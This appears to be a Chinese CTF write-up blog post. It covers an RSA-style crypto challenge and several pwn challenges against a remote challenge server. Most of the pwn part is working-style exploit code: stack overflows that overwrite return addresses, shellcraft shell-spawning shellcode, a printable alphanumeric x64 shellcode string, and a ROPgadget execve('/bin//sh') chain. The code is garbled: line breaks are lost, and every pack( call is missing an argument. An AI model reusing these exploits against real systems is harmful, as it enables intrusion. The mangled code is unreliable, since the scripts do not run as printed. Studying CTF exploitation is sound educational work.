from gmpy2 import mpz , is_prime , powmod , invertfrom pwn import *import sysfrom Crypto.Util.number import getPrimesys.path.append('/home/shallow/crypto/rsa')from factor import Pollard_rhocontext.log_level = 'debug'prime = [47, 67, 59, 53, 37, 41, 61, 43]def factor(n):    for i in prime:        if n %(i-1) == 0:            return [i , n// (i-1) + 1]def generate_flag(pre):    return pre// (16**2+1)def guess(n , d):    p , q  = factor(n)    m = p * q * 2 ** 5    return m - (2 ** d % m)p = remote('38.39.244.2', '28101')p.recvuntil(b'GAME START : )')def recv():    p.recvuntil('m:  ')    m = int(p.recvuntil('\n'))    p.recvuntil('d:  ')    d = int(p.recvuntil('\n'))    p.recvuntil('Now guess where the flag is ^_^ \n')    return m , ddef send(num):    p.sendline(str(num))    pre_flag = int(p.recvuntil('\n'))    print(pre_flag)    return chr(generate_flag(pre_flag))flag = ''while 1 :    m , d = recv()    num = guess(m , d)    flag += send(num)    print(flag)

Pwn

Easy_equation

if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )

solve to get judge = 2 溢出即可,不需绕过判断

from pwn import *from pwnlib.util.proc import wait_for_debuggercontext.log_level = 'debug'# a = process("./easy_equation")elf = ELF("./easy_equation")a = remote("38.39.244.2", 28089)# wait_for_debugger(a.pid)flag_addr = 0x004006D0payload = 'a' * (1 + 0x8)payload += p64(flag_addr)# a.recvuntil(". ")a.sendline(payload)a.interactive()

easyoverflow

保护全开,这一点都不easy

需要保证栈中rbp - 30h to rbp - 40h is covered by n0t_r3@11y_f1@ginput is stored in rbp - 70h

exp:

from pwn import *from pwnlib.util.proc import wait_for_debuggercontext.log_level = 'debug'# a = process("./easy_overflow")# elf = ELF("./easy_overflow")a = remote("38.39.244.2", 28073)# wait_for_debugger(a.pid)flag_addr = 0x004006D0payload = 'a' * (0x70 - 0x40)payload += 'n0t_r3@11y_f1@g' + p64(0)# a.recvuntil(". ")a.sendline(payload)a.interactive()

shellcode

再不能更简单了

from pwn import *from pwnlib.util.proc import wait_for_debuggercontext.log_level = 'debug'# a = process("./shellcode")# elf = ELF("./easy_overflow")a = remote("38.39.244.2", 28071)# wait_for_debugger(a.pid)context.arch = "amd64"flag_addr = 0x004006D0# a.recvuntil(". ")a.sendline(asm(shellcraft.sh()))a.interactive()

spfa

这题反编译出来发现就是一个spfa,有加边、求最短路、get flag三个操作;

get flag 的条件是队列中置入超过 1000 个数,但是要求加入点数只能是 0 ~ 29,那么从权值入手,发现权值可以等于 0,spfa 中加点条件也写的大于等于。那么只要加入四条边:0 1 0, 0 2 0, 1 2 0, 2 1 0 形成死循环即可。

shellcode-revenge

64位可见字符shellcode地址在rax

为了能够f5,可以先把调用shellcode的代码patch掉

到网上找一个现成的payload

jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394c

发现为了保证不read到换行,需要填充,填充符还有讲究,原shellcode会执行一部分填充字符,因此需要保证填充字符可执行且栈平衡,选取QY填充即可(push rcx,pop rcx)

jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQY

这payload看得我密恐都犯了=-=

nothing but everythin

使用ropgadget工具生成ROP链,从入口点调用函数的参数可以找到main函数的位置,从而确定溢出点

exp:

from pwn import *from pwnlib.util.proc import wait_for_debugger#!/usr/bin/env python2# execve generated by ROPgadgetfrom struct import pack# Padding goes herep = ''p += pack(', 0x00000000004100d3) # pop rsi ; retp += pack(', 0x00000000006b90e0) # @ .datap += pack(', 0x00000000004494ac) # pop rax ; retp += '/bin//sh'p += pack(', 0x000000000047f261) # mov qword ptr [rsi], rax ; retp += pack(', 0x00000000004100d3) # pop rsi ; retp += pack(', 0x00000000006b90e8) # @ .data + 8p += pack(', 0x0000000000444840) # xor rax, rax ; retp += pack(', 0x000000000047f261) # mov qword ptr [rsi], rax ; retp += pack(', 0x0000000000400686) # pop rdi ; retp += pack(', 0x00000000006b90e0) # @ .datap += pack(', 0x00000000004100d3) # pop rsi ; retp += pack(', 0x00000000006b90e8) # @ .data + 8p += pack(', 0x0000000000449505) # pop rdx ; retp += pack(', 0x00000000006b90e8) # @ .data + 8p += pack(', 0x0000000000444840) # xor rax, rax ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x00000000004746b0) # add rax, 1 ; retp += pack(', 0x000000000040123c) # syscallcontext.log_level = 'debug'# a = process("./pwn")# elf = ELF("./easy_overflow")a = remote("38.39.244.2", 28047)# wait_for_debugger(a.pid)context.arch = "amd64"payload = 'a' * (0x70 + 0x8)payload += pa.sendline()a.sendline(payload)a.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值